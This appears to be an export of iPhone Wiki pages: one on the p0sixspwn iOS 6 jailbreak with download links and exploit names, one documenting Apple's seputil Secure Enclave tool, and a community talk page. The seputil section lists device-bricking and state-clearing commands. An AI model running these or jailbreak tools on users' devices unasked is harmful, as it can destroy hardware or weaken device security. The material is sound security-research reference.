LC 17: LC_LOAD_DYLIB /System/Library/PrivateFrameworks/Bom.framework/Bom
LC 18: LC_LOAD_DYLIB /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
LC 19: LC_LOAD_DYLIB /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
LC 20: LC_LOAD_DYLIB /System/Library/PrivateFrameworks/MediaKit.framework/MediaKit
LC 21: LC_LOAD_DYLIB /usr/lib/libMobileGestalt.dylib
LC 22: LC_LOAD_DYLIB /usr/lib/libauthinstall.dylib
LC 23: LC_LOAD_WEAK_DYLIB /System/Library/Frameworks/CFNetwork.framework/CFNetwork
LC 24: LC_LOAD_DYLIB /usr/lib/libc++.1.dylib
LC 25: LC_LOAD_DYLIB /usr/lib/libSystem.B.dylib
LC 26: LC_FUNCTION_STARTS Offset: 1188768, Size: 5232
LC 27: LC_DATA_IN_CODE Offset: 1194000, Size: 0
LC 28: LC_DYLIB_CODE_SIGN_DRS Offset: 1194000, Size: 128
LC 29: LC_CODE_SIGNATURE Offset: 1287008, Size: 6480
</pre>

P0sixspwn

2014-01-02T11:35:39Z

Http: /* Exploits */ links and ref comments on exploit list

{{lowercase}}
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.5 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.5, except for Apple TV 3. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows version is coming soon.

==Changelog==
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.
* '''1.2-1''' Various bug fixes.
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)
* '''1.0-9''' [[n90ap|iPhone 4 GSM]] boot loop fix
* '''1.0-5''' the initial release of the untether

== Download ==
{| class="wikitable"
! Version
! OS
! SHA-1 Hash
! Download
! Changes
|-
! 1.0.0
| class="nobborderplz" rowspan="3" | [[wikipedia:OS X|Mac OS X]]
| <code>b5a66f4e58ab4c813fc851d479b28188eb5115ec</code>
| style="text-decoration: line-through;" | [https://mega.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU Mega]
|
* Initial release.
|-
! 1.0.1
| <code>ae5b3907660b161b2ff94a2e2cfef97195404a89</code>
| style="text-decoration: line-through;" | [https://mega.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 Mega]
|
* Resolves issues with iPod touch 5 not being detected.
|-
! 1.0.2
| <code>259e95fd16468260c8831ca17186f50b7d14ba41</code>
| [https://mega.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 Mega]
| class="nobborderplz" rowspan="2" |
* Resolves issues with LTE/data.
|}

== Exploits ==
* [[posix_spawn kernel information leak]] (by [[i0n1c]])
* [[mach_msg_ool_descriptor_ts for heap shaping]]
* [[dyld S_ATTR_LOC_RELOC/function reexport]] (also used in [[evasi0n7]]) (same as [[AMFID_code_signing_evasion]]?)
* [[DeveloperDiskImage race condition]] (by [[comex]])
* [[MobileBackup2 arbitrary symbolic link restore]] (also used in [[evasi0n]]) (same as [[Symbolic Link Vulnerability]]?, fixed in iOS7.1b2)
* [[launchd.conf]] (same as [[launchd.conf untether]]?)

== External Links ==
*[http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]
* [http://p0sixspwn.com/ p0sixspwn]

[[Category:Hacking Software]]
[[Category:Jailbreaks]]

Seputil

2014-01-02T11:27:00Z

Http: important information copied from Talk section, with several fixes

{{Infobox software
| name = seputil
| title =
| collapsible =
| author = Apple Inc.
| developer = Apple Inc.
| released =
| discontinued =
| latest release date =
| latest preview version =
| latest preview date =
| programming language =
| operating system = [[wikipedia:iOS|iOS]] command line
| platform =
| size = 59,184 bytes [APP]
| language = [[wikipedia:English language|English]]
| status =
| genre = ?
| license = [[wikipedia:Proprietary software|Closed source]]
| website =
}}

'''seputil''' is an Apple internal application (arm64). It is used to communicate with the [[Secure Enclave]] and it's processor. [[ramrod]] also uses seputil to update the firmware of the SEP.
[[seputil]] is contained in the ramdisk in H6SURamDisk.dmg (which is in <code>/usr/standalone/update/ramdisk/</code> folder on 7.0.4 iPhone5s) and there in <code>/usr/libexec/</code>. You just have to get rid of the 1st 0x1b (27) bytes to make the dmg readable.

[[seputil]] has the following commands:

<pre>
seputil: seputil [--wait] --load <file>
seputil: seputil '<SEP console command>'
seputil: seputil <command>
seputil:
seputil: Valid <command> words:
seputil: --ping Send a PING operation to the SEP OS
seputil: --load Load <file> as the SEP runtime firmware
seputil: --restore Load <file> as the SEP runtime firmware in restore mode
seputil: --restore+art Load <file> as the SEP runtime firmware in restore mode with ART
seputil: --wait Pause for kernel driver to load before failing
seputil: --preflight Pre-flight load/restore firmware against ART to pre-check for boot failures
seputil: --log Dump the mailbox message log
seputil: --rom status Get the ROM status
seputil: --rom tz0 Send a ROM TZ0 command
seputil: --rom nop Send a ROM NOP command
seputil: --rom nonce Send a ROM nonce request
seputil: --new-nonce Request new SEP/OS nonce
seputil: --kill-nonce Request invalidate SEP/OS nonce
seputil: --art get Dump current ART from Memory
seputil: --art set Persist the supplied ART to storage
seputil: --art clear Clear the persisted ART
seputil: --art ctrtest Counter self-test (DESTRUCTIVE - WILL BRICK DEVICE)
seputil: --sleep Sleep the SEP NOW!
seputil: --nap Nap the SEP NOW!
seputil: --pingflood Ping SEP endlessly
seputil: --clkgate Enable SEP clock gating
seputil: --get <obj> Read obj and write to stdout
seputil: --put <obj> Read stdin and write to obj
seputil: --boot-check <file> Check whether a firmware might be bootable WRT the current ART
seputil: --dump-fw <file> Dump measurements of firmware file
seputil: Bare words on the commandline are sent to the SEP as a console command
</pre>

==Examples==
<pre>
./seputil --pingflood
SEP ping #1000
SEP ping #2000
SEP ping #3000
SEP ping #4000

./seputil --load sep-firmware.img4
seputil: load fw returned 0xe00002d5
seputil: load failed

./seputil --new-nonce
Nonce (20 bytes): 0x67fc18385630dc6429726677d196c81466f47b5e

./seputil --art get
raw ART: 305e0201003037020218340414519c0248f04d316a3d71e03978b4126fbfb2b15c0400041467fc18385630dc6429726677d196c81466f47b5e3103c00100042027b6dadbab356612997af0203cefeae51fe90cd985ee7cdd6211c766b8cc7a60
Successfully parsed ART:
counter: 6196
manifest hash (20 bytes): 519c0248f04d316a3d71e03978b4126fbfb2b15c
sleep hash is absent
restore nonce (20 bytes): 67fc18385630dc6429726677d196c81466f47b5e

./seputil --art set
Segmentation fault: 11

./seputil --log
Kernel message log has 128 entries
289344381444: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289344385176: 0x0000000000000000 TX interrupt
289344391044: 0x0000000000000000 TX interrupt
289344408988: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289344409016: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289344413132: 0x0000000000000000 RX interrupt
289344413304: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289344413904: 0x0000000000000000 RX interrupt
289344413944: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289344414176: 0x0018000000dd1007 TX message ept 7, tag 10, opcode dd, param 0, data 180000
289344443356: 0x0000000000000000 RX interrupt
289344443428: 0x0068000000dd9007 RX message ept 7, tag 90, opcode dd, param 0, data 680000
289346822748: 0x0000000000130000 TX message ept 0, tag 0, opcode 13, param 0, data 0
289346829480: 0x0000000000000000 RX interrupt
289346829560: 0x0000000000110000 RX message ept 0, tag 0, opcode 11, param 0, data 0
289346830136: 0x0000000000120000 TX message ept 0, tag 0, opcode 12, param 0, data 0
289406511168: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289406511204: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289406538900: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289406538936: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289406543628: 0x0000000000000000 TX interrupt
289406549916: 0x0000000000000000 TX interrupt
289406566580: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289406566612: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289406571220: 0x0000000000000000 RX interrupt
289406571476: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289406571908: 0x0000000000000000 RX interrupt
289406571952: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289406572320: 0x0018000000de1007 TX message ept 7, tag 10, opcode de, param 0, data 180000
289406605068: 0x0000000000000000 RX interrupt
289406605152: 0x0068000000de9007 RX message ept 7, tag 90, opcode de, param 0, data 680000
289407383260: 0x003c000000df0907 TX message ept 7, tag 9, opcode df, param 0, data 3c0000
289407396284: 0x0000000000000000 RX interrupt
289407396380: 0x002c000000df8907 RX message ept 7, tag 89, opcode df, param 0, data 2c0000
289407403656: 0x003c000000e00907 TX message ept 7, tag 9, opcode e0, param 0, data 3c0000
289407411688: 0x0000000000000000 RX interrupt
289407411736: 0x002c000000e08907 RX message ept 7, tag 89, opcode e0, param 0, data 2c0000
289407414732: 0x003c000000e10907 TX message ept 7, tag 9, opcode e1, param 0, data 3c0000
289407422472: 0x0000000000000000 RX interrupt
289407422524: 0x002c000000e18907 RX message ept 7, tag 89, opcode e1, param 0, data 2c0000
289408986276: 0x0000000000130000 TX message ept 0, tag 0, opcode 13, param 0, data 0
289408991756: 0x0000000000000000 RX interrupt
289408991824: 0x0000000000110000 RX message ept 0, tag 0, opcode 11, param 0, data 0
289408992472: 0x0000000000120000 TX message ept 0, tag 0, opcode 12, param 0, data 0
289459393276: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289459393348: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289459423004: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289459423048: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289459452628: 0x0000000000000000 TX interrupt
289459453612: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289459453664: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289459466460: 0x0000000000000000 TX interrupt
289459469548: 0x0000000000000000 RX interrupt
289459470000: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289459470632: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289459471304: 0x0018000000e21007 TX message ept 7, tag 10, opcode e2, param 0, data 180000
289459524572: 0x0000000000000000 RX interrupt
289459524728: 0x0068000000e29007 RX message ept 7, tag 90, opcode e2, param 0, data 680000
289459532644: 0x004c000000e30f07 TX message ept 7, tag f, opcode e3, param 0, data 4c0000
289459552888: 0x0000000000000000 RX interrupt
289459553044: 0x002c000000e38f07 RX message ept 7, tag 8f, opcode e3, param 0, data 2c0000
289459646732: 0x0018000000e41007 TX message ept 7, tag 10, opcode e4, param 0, data 180000
289459681116: 0x0000000000000000 RX interrupt
289459681272: 0x0068000000e49007 RX message ept 7, tag 90, opcode e4, param 0, data 680000
289461898836: 0x0000000000130000 TX message ept 0, tag 0, opcode 13, param 0, data 0
289461906796: 0x0000000000000000 RX interrupt
289461906968: 0x0000000000110000 RX message ept 0, tag 0, opcode 11, param 0, data 0
289461908400: 0x0000000000120000 TX message ept 0, tag 0, opcode 12, param 0, data 0
289526725980: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289526726016: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289526757512: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289526757552: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289526774468: 0x0000000000000000 TX interrupt
289526782688: 0x0000000000000000 TX interrupt
289526786468: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289526786540: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289526795320: 0x0000000000000000 RX interrupt
289526795828: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289526796304: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289526796984: 0x0018000000e51007 TX message ept 7, tag 10, opcode e5, param 0, data 180000
289526847216: 0x0000000000000000 RX interrupt
289526847348: 0x0068000000e59007 RX message ept 7, tag 90, opcode e5, param 0, data 680000
289529224460: 0x0000000000130000 TX message ept 0, tag 0, opcode 13, param 0, data 0
289529235316: 0x0000000000000000 RX interrupt
289529235488: 0x0000000000110000 RX message ept 0, tag 0, opcode 11, param 0, data 0
289529236920: 0x0000000000120000 TX message ept 0, tag 0, opcode 12, param 0, data 0
289584681764: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289584681836: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289584710576: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289584710608: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289584730996: 0x0000000000000000 TX interrupt
289584738992: 0x0000000000000000 TX interrupt
289584739572: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289584739612: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289584748648: 0x0000000000000000 RX interrupt
289584748984: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289584749300: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
289584749332: 0x0018000000e61007 TX message ept 7, tag 10, opcode e6, param 0, data 180000
289584790484: 0x0000000000000000 RX interrupt
289584790568: 0x0068000000e69007 RX message ept 7, tag 90, opcode e6, param 0, data 680000
289587176748: 0x0000000000130000 TX message ept 0, tag 0, opcode 13, param 0, data 0
289587185760: 0x0000000000000000 RX interrupt
289587185916: 0x0000000000110000 RX message ept 0, tag 0, opcode 11, param 0, data 0
289587186840: 0x0000000000120000 TX message ept 0, tag 0, opcode 12, param 0, data 0
288741485000: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
288741485084: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
288741514772: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
288741514812: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
288741533984: 0x0000000000000000 TX interrupt
288741541992: 0x0000000000000000 TX interrupt
288741543608: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
288741543680: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
288741552216: 0x0000000000000000 RX interrupt
288741552884: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
288741553388: 0x0000000000010000 RX message ept 0, tag 0, opcode 1, param 0, data 0
288741553672: 0x0018000000db1007 TX message ept 7, tag 10, opcode db, param 0, data 180000
288741591912: 0x0000000000000000 RX interrupt
288741592040: 0x0068000000db9007 RX message ept 7, tag 90, opcode db, param 0, data 680000
288741599128: 0x004c000000dc0f07 TX message ept 7, tag f, opcode dc, param 0, data 4c0000
288741620732: 0x0000000000000000 RX interrupt
288741620900: 0x002c000000dc8f07 RX message ept 7, tag 8f, opcode dc, param 0, data 2c0000
288742902624: 0x0000000000130000 TX message ept 0, tag 0, opcode 13, param 0, data 0
288742912320: 0x0000000000000000 RX interrupt
288742912496: 0x0000000000110000 RX message ept 0, tag 0, opcode 11, param 0, data 0
288742913700: 0x0000000000120000 TX message ept 0, tag 0, opcode 12, param 0, data 0
289344354176: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289344354216: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0
289344381416: 0x0000000000000000 TX message ept 0, tag 0, opcode 0, param 0, data 0

./seputil --boot-check sep-firmware.img4
preflight: manifest hash matches sepi
bootCheck: SEP may boot with ART

./seputil --dump-fw sep-firmware.img4
manifest digest (20 bytes): 519c0248f04d316a3d71e03978b4126fbfb2b15c
sepi digest (20 bytes): a22813c5ceaeada5b7eeaa55808f3019814e8b8e
sepi nonce (20 bytes): e5074bd1befefc685c6b5ec6797ffc851366f76f
rsep digest (20 bytes): cb9f4c6520889e2582414c5969fb0abc3b0d8277
rsep nonce (20 bytes): e5074bd1befefc685c6b5ec6797ffc851366f76f
</pre>

== jtool dissect ==

<pre>
./jtool -l /Volumes/ramdisk/usr/libexec/seputil
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
LC 01: LC_SEGMENT_64 Mem: 0x100000000-0x100008000 __TEXT
0x0000000100000ce8-0x00000001000055e0 __TEXT.__text
0x00000001000055e0-0x00000001000058ec __TEXT.__stubs
0x00000001000058ec-0x0000000100005c10 __TEXT.__stub_helper
0x0000000100005c10-0x0000000100006e5d __TEXT.__cstring
0x0000000100006e60-0x0000000100007fac __TEXT.__const
0x0000000100007fac-0x0000000100007ff4 __TEXT.__unwind_info
LC 02: LC_SEGMENT_64 Mem: 0x100008000-0x10000c000 __DATA
0x0000000100008000-0x0000000100008050 __DATA.__got
0x0000000100008050-0x0000000100008258 __DATA.__la_symbol_ptr
0x0000000100008258-0x00000001000086e8 __DATA.__const
0x00000001000086e8-0x0000000100008990 __DATA.__data
0x0000000100008990-0x00000001000089b0 __DATA.__bss
LC 03: LC_SEGMENT_64 Mem: 0x10000c000-0x100010000 __LINKEDIT
LC 04: LC_DYLD_INFO_ONLY
LC 05: LC_SYMTAB Symbol table is at offset 0xd9c8, with 77 entries
LC 06: LC_DYSYMTAB
LC 07: LC_LOAD_DYLINKER /usr/lib/dyld
LC 08: LC_UUID UUID: 5C06A94F-63A7-3150-95B6-65567C70A3C8
LC 09: LC_VERSION_MIN_IPHONEOS Minimum iOS version: 7.0.0
LC 10: LC_SOURCE_VERSION Source Version: 69.1.1.0.0
LC 11: LC_MAIN Entry Point: 0x1448 (Mem: 100001448)
LC 12: LC_LOAD_DYLIB /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
LC 13: LC_LOAD_DYLIB /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
LC 14: LC_LOAD_DYLIB /usr/lib/libSystem.B.dylib
LC 15: LC_FUNCTION_STARTS Offset: 55592, Size: 120
LC 16: LC_DATA_IN_CODE Offset: 55712, Size: 0
LC 17: LC_DYLIB_CODE_SIGN_DRS Offset: 55712, Size: 40
LC 18: LC_CODE_SIGNATURE Offset: 58704, Size: 480
</pre>

==ART Object==

Example 1:
<pre>
./seputil --art get
raw ART: 305e0201003037020218340414519c0248f04d316a3d71e03978b4126fbfb2b15c0400041467fc18385630dc6429726677d196c81466f47b5e3103c00100042027b6dadbab356612997af0203cefeae51fe90cd985ee7cdd6211c766b8cc7a60
Successfully parsed ART:
counter: 6196
manifest hash (20 bytes): 519c0248f04d316a3d71e03978b4126fbfb2b15c
sleep hash is absent
restore nonce (20 bytes): 67fc18385630dc6429726677d196c81466f47b5e
</pre>

raw ART is also a [http://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One#Example_encoded_in_DER DER encoded ASN.1 object]:

<pre>
30 — type tag indicating SEQUENCE
5e — length in octets of value that follows (92)
02 — type tag indicating INTEGER
01 — length in octets of value that follows
00 — value (0)
30 — type tag indicating SEQUENCE
37 — length in octets of value that follows (55)
02 — type tag indicating INTEGER
02 — length in octets of value that follows
1834 — value (6196) (of counter)
04 — type tag indicating STRING
14 — length in octets of value that follows (20)
519c0248f04d316a3d71e03978b4126fbfb2b15c — value (of manifest hash)
04 — type tag indicating STRING
00 — length in octets of value that follows (0); empty, so no value to follow (sleep has is absent)
04 — type tag indicating STRING
14 — length in octets of value that follows (20)
67fc18385630dc6429726677d196c81466f47b5e — value (of restore nonce)
31 — type tag indicating SET
03 — length in octets of value that follows (3)
c00100 — value
04 — type tag indicating STRING
20 — length in octets of value that follows (32)
27b6dadbab356612997af0203cefeae51fe90cd985ee7cdd6211c766b8cc7a60 — value
</pre>

Example 2:
<pre>
./seputil --art get
raw ART: 3072020100304b0202186c0414519c0248f04d316a3d71e03978b4126fbfb2b15c04147f75cb9012128cf71eb8fcd6b13e56a02a7324db041467fc18385630dc6429726677d196c81466f47b5e3103c0010004209ce3646167631d0df8d4db28973db8d5a27f85d345ad6ec220aeb1e22f39f31f
Successfully parsed ART:
counter: 6252
manifest hash (20 bytes): 519c0248f04d316a3d71e03978b4126fbfb2b15c
sleep hash (20 bytes): 7f75cb9012128cf71eb8fcd6b13e56a02a7324db
restore nonce (20 bytes): 67fc18385630dc6429726677d196c81466f47b5e
</pre>

Decode (used the decoder [http://lapo.it/asn1js/ here]):

<pre>
SEQUENCE (3 elem)
INTEGER 0
SEQUENCE (5 elem)
INTEGER 6252
OCTET STRING (20 byte) 519C0248F04D316A3D71E03978B4126FBFB2B15C
OCTET STRING (20 byte) 7F75CB9012128CF71EB8FCD6B13E56A02A7324DB
OCTET STRING (20 byte) 67FC18385630DC6429726677D196C81466F47B5E
SET (1 elem)
Private 0 (1 byte) 00
OCTET STRING (32 byte) 9CE3646167631D0DF8D4DB28973DB8D5A27F85D345AD6EC220AEB1E22F39F31F
</pre>

Example 3:
<pre>
./seputil --art clear
ART cleared from storage

./seputil --art get
seputil: Get ART command error: 0xe00002bc
</pre>

The iPhone Wiki:Community portal

2014-01-02T11:10:17Z

Http: /* "GSM" Replacement Proposals V2 */

{{Talk Archive}}
{{see also|Unsolved problems}}
==iPhone-Elite==
I think we should include all this old stuff before it gets lost: [http://code.google.com/p/iphone-elite/ code.google.com/p/iphone-elite/]. I mean the wiki articles there. Most infos should be already here, but I'm sure a lot of things are missing too.
--[[User:Http|http]] 15:02, 26 June 2012 (MDT)

==Boot-args cleanup==
We need to clean up the boot-args pages. First the technical part: What I understand is that iBoot loads the kernel. And when loading it, it can pass some parameters to select certain behavior. So this only works with an iBoot or bootrom exploit. I understand that in earlier firmware versions there was simply an iBoot variable, but that doesn't exist or work anymore, now passing theses args requires a different or patched iBoot. There are various parameters in different kernel versions. The description for these arguments is scattered over various places:
*[[Kernel#Boot-Args]] A section with the latest boot arguments list. This should be a short introduction and having a link "main article".
*[[Boot-args (iBoot variable)]] separate page for boot arguments, but mainly for the iBoot variable that doesn't exist any longer
*[{{FULLURL:Boot arguments|redirect=no}} Boot arguments] (redirect)
*[[:Talk:Restore_Mode]] describing the iBoot variable problem
*Various pages referencing boot-args, like [[Research: Re-allowing unsigned ramdisks and boot-args with the 2.* iBoot]] (here we should have a link on the second title)
*My earlier comment [[:Talk:Kernel#boot-args]]
*This comment here.
So what do we want to do about this mess? I suggest to move the current [[Kernel]] content to the redirect page [[Boot arguments]] (or to another new page, maybe [[boot-args]]). The current content of [[Boot-args (iBoot variable)]] and all other content should get merged into there. Then change all references to this new page and on the [[Kernel]] page write just something short with "main article there". What do you think? --[[User:Http|http]] ([[User talk:Http|talk]]) 21:31, 13 February 2013 (UTC)
:I like [[Boot Arguments]]. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 02:01, 14 February 2013 (UTC)
::One addition: Maybe we should use [[boot-args]] as the main page, because all links are written like that. --[[User:Http|http]] ([[User talk:Http|talk]]) 07:37, 14 February 2013 (UTC)

==The iPhone Wiki re-design==
The design of the iPhone wiki is now quite old and I think it should be updated. I made a [http://oi42.tinypic.com/30ib9y8.jpg concept]. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:30, 14 June 2013 (UTC)
:I disagree. If anything add an iPhone 5 to the logo but everything else is ok. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:05, 14 June 2013 (UTC)
:I wouldn't change the logo to an iPhone 5, especially with iOS 7 and a new iPhone (that will probably look the same as the 5, admittedly) around the corner. I contemplated updating the CSS for iOS 7's UI but decided not to because of the UI's supposed volatility (during the beta period) and I don't have a live version to toy around with. (I personally don't like its current state, but that's not a factor in why I'm not changing it yet.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:25, 14 June 2013 (UTC)
::Can we not do flat? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 21:02, 14 June 2013 (UTC)
::This is what I was thinking. When iOS 7 finally comes out, we could change the CSS to look like that instead. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:11, 14 June 2013 (UTC)
:::iOS 7 looks ugly. We do not want it like that. Maybe a bit more modern but nothing much. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:16, 14 June 2013 (UTC)
::::''You'' may not want it like that. That's your opinion. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:55, 15 June 2013 (UTC)
:::::We could make a poll, and see if most users agree or disagree. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:05, 15 June 2013 (UTC)
:The idea looks nice. But before we make any changes, let's wait until iOS7 comes out. And I'd prefer to just add another skin instead (if possible). I'm still using the classic MonoBook skin by the way. You shouldn't impose design changes to everyone. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:38, 15 June 2013 (UTC)
::The problem with skins is that geohot needs to set them up... An idea I have is that we copy the Vector skin verbatim to a new skin (<code>iOS6</code>) and move the modifications (not general stuff) to [[Mediawiki:iOS6.css]]. Then we can do another verbatim copy to <code>iOS7</code> and modify [[Mediawiki:iOS7.css]]. We could then set the default skin to either <code>iOS6</code> or <code>iOS7</code> so you don't need to be logged in to see them like currently. Then if someone doesn't like them, like you, just change your settings to your preferred skin. The only way around needing geohot is if he opens up the credentials to FTP or whatever to someone. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:17, 15 June 2013 (UTC)
:::I like [[User:5urd|5urd]]'s suggestion. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:29, 15 June 2013 (UTC)
What about just removing the text-shadow element for now? I think pages would be easier to read without it. Here's an example: [[:File:Noshadow.png]]. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:11, 29 August 2013 (UTC)
:Yeah removing the shadow will make everything seem more flat but like [[User:http|http]] I'm still using the classic [http://theiphonewiki.com/w/index.php?title=Main_Page&useskin=monobook MonoBook skin] --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 21:19, 31 August 2013 (UTC)

==Hacker page==
I would like to be added to the list of hackers for my work with the Private Dev Team and the [[Chronic Dev (team)|Chronic Dev Team]] in addition to my release of the Phoenix Semi-Untethered. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:36, 22 July 2013 (UTC)
:Did you find any exploits? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 18:54, 22 July 2013 (UTC)
::No. [[User:phyrrus9|phyrrus9]], a team member found the vulnerability. I am the one who exploited it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]])
:::I can back up this "claim". I was a part of it. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:52, 28 July 2013 (UTC)
::::Whatever happened to this? --[[User:Phyrrus9|phyrrus9]]

==Orphaned articles==
This is an interesting search: [[Special:LonelyPages]] - "The following pages are not linked from or transcluded into other pages in The iPhone Wiki." I'm not sure where all of those articles should be linked, but figuring that out could be a useful project for somebody. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 05:57, 28 August 2013 (UTC)

==Easy tasks for new editors==
* Finish converting the remaining error codes listed here [[MobileDevice_Library#Known_Error_Codes]] into the proper mach_return_t codes they should be displayed as. (convert the negative number listed into hex, strip any leading "FF" so it should be in the format "0xe80000" followed by two numbers) --[[User:Dirkg|Dirkg]] ([[User talk:Dirkg|talk]]) 22:40, 28 August 2013 (UTC)

== A1XXX model numbers vs. "GSM"/"CDMA"/"Global"/"Cellular"/etc. ==
I know that this topic was [[The iPhone Wiki:Community portal/2013#iPhone 5|already discussed earlier this year]], but it didn't seem to come to a consensus, and the introduction of the [[iPhone 5c]] and [[iPhone 5s]] brought a lot of model numbers. Some of them may "overlap" (think models A1429 and A1442 for the [[iPhone 5]]), but there's simply too many to give names to. There are at least two that can connect to CDMA networks, and all of them can connect to GSM. In addition, with the sheer amount of models, it doesn't seem likely for one model to be treated as a "global" model. Therefore, I changed the iPhone 5c to use model numbers. I would like to do the same to some of the devices that are already present on the wiki though— the same ones from when I first brought up this idea. The GSM/CDMA names work very well for the [[iPad 2]] and [[iPhone 4]]. Things are slightly murkier for the [[iPad 3|iPad (3rd gen.)]], [[iPad 4|iPad (4th gen.)]], [[iPad mini 1G]], and [[iPhone 5]] though; all of those devices' cellular models can connect to GSM networks, so it seems like nonsense to call some of them the "GSM model." The A1XXX model numbers are also how Apple tells the difference between the different models of these devices. Have any opinions changed? Or perhaps someone new might have something to say about this? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 06:06, 13 September 2013 (UTC)

:I actually like the idea as it does get complicated now with the new devices coming like said and we would have to do this for all devices. Although, if we did this, we would have to move all the key pages that have keys on to support this. That would not be a big problem as we could limit the moves to say 20 per day. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:47, 13 September 2013 (UTC)

